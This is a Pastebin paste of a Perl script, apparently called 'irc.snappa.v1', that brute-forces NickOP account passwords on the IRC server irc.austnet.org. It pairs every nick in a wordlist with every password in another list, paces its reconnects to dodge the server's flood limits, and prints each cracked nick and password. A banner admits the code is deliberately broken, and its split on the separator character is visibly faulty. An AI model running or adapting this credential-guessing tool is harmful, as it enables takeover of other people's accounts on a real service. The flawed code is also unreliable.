Advertisement
Guest User

Untitled

a guest
May 7th, 2017
89
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 2.72 KB | None | 0 0
  1. use strict;
  2. use IO::Socket;
  3. system('cls');
  4.  
  5. print q[
  6.                                      irc.snappa.v1 coded by hashface
  7.   ---------------------------------------------------------
  8.   depending on your list(s) and the flood rates on the servers
  9.   this will snap nickop passes quite quickly
  10. die("  --  this code is cribble purposely to stop skiddos  --  ");
  11.   ---------------------------------------------------------
  12. ];
  13.  
  14.  my $server = 'irc.austnet.org';    # server
  15.  my $port = 6668;           # port
  16.  my $c = 4;         # connect
  17.  my $freeze = 0.8;          # nick
  18.  my $rejoin = 5;            # rejoin
  19.  
  20.  
  21. open (FILE, '<nick.txt');       # nicks
  22. my @nicks : shared = <FILE>;
  23. chomp(@nicks);
  24. close(FILE);
  25.  
  26. open (FILE, '<pass.txt');       # passes
  27. my @pass : shared = <FILE>;
  28. chomp(@pass);
  29. close(FILE);
  30.  
  31. print '[i] nicks:  '.scalar(@nicks)."\n";
  32. print '[i] passwords:  '.scalar(@pass)."\n";
  33.  
  34. my @cock;
  35. foreach my $user(@nicks) {  foreach my $pasw(@pass) { @cock[scalar(@cock)]=$user."\x01".$pasw; } }
  36. print ' = '.int(scalar(@cock))." combination(s)\n\n";
  37.  
  38. my $irc;
  39. while (@cock) {        
  40.     irc_connect($server,$port);
  41.     if (irc_auth('abc')!=0) {
  42.         print "  +  auth\n";
  43.         for (my $i=1; $i<$c; $i++){
  44.             my $cock = shift @cock;
  45.             goto _END if (!$cock);
  46.             my @temp = split(/x01/,$cock);
  47.             my $_USER = $temp[0];
  48.             my $_PASW = $temp[1];    
  49.             irc_nick($_USER,$_PASW);
  50.             sleep($freeze);
  51.         }
  52.         _END:
  53.     } else {$rejoin++;}        
  54.     irc_disconnect();
  55.     print " <  disconected!\n\n";
  56.     sleep($rejoin);        
  57. }
  58.  
  59. <stdin>;
  60. sub irc_connect {
  61.     $irc = new IO::Socket::INET(
  62.     PeerAddr => $_[0],
  63.     PeerPort => $_[1],
  64.     Timeout  => 1,
  65.     Proto    => 'tcp') or
  66.     die(" [-] can't connect to server ".$server.':'.$port."\n");
  67.     print " >  connected!\n";
  68. }
  69.  
  70. sub irc_disconnect {
  71.     close($irc);
  72. }
  73.  
  74. sub irc_auth {
  75.     my $result = 1;
  76.     print $irc "NICK $_[0]\r\n";
  77.     print $irc "USER $_[0] 8 * :$_[0]\r\n";
  78.     while (my $input = <$irc>) {
  79.         chop($input);
  80.         print $input."====\n";
  81.         if ($input =~ /433/) {
  82.             print ' [-] nickname "'.$_[0].'" is already in use';
  83.             $result = 0;
  84.             last;
  85.             }
  86.         elsif ($input =~ /^PING(.*)$/i) {
  87.             print $irc "PONG $1\r\n";
  88.         }
  89.         elsif ($input =~ /Reconnecting too fast/) {
  90.             print "  -  going too fast!\n";
  91.             $result = 0;
  92.             last;
  93.         }
  94.         elsif ($input =~ /MODEs.*:+/) {
  95.             last;
  96.         }
  97.     }
  98.     return $result;
  99. }
  100.  
  101. sub irc_nick {
  102.     print $irc "NICK ".$_[0]."\r\n";
  103.     print $irc "NICKOP ID ".$_[1]."\r\n";
  104.     while (my $answ = <$irc>) {
  105.         if    ($answ =~ /not registered/)  { print "  -  unregistered ".$_[0]."\n"; goto _NEXT; }
  106.         elsif ($answ =~ /mismatch/)        { print "  -  bad password ".$_[1]."\n"; goto _NEXT; }
  107.         elsif ($answ =~ /now identified/)  { print "  *** SNAP! ".$_[0].":".$_[1]."\n"; goto _NEXT; }
  108.     }
  109.     _NEXT:
  110. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement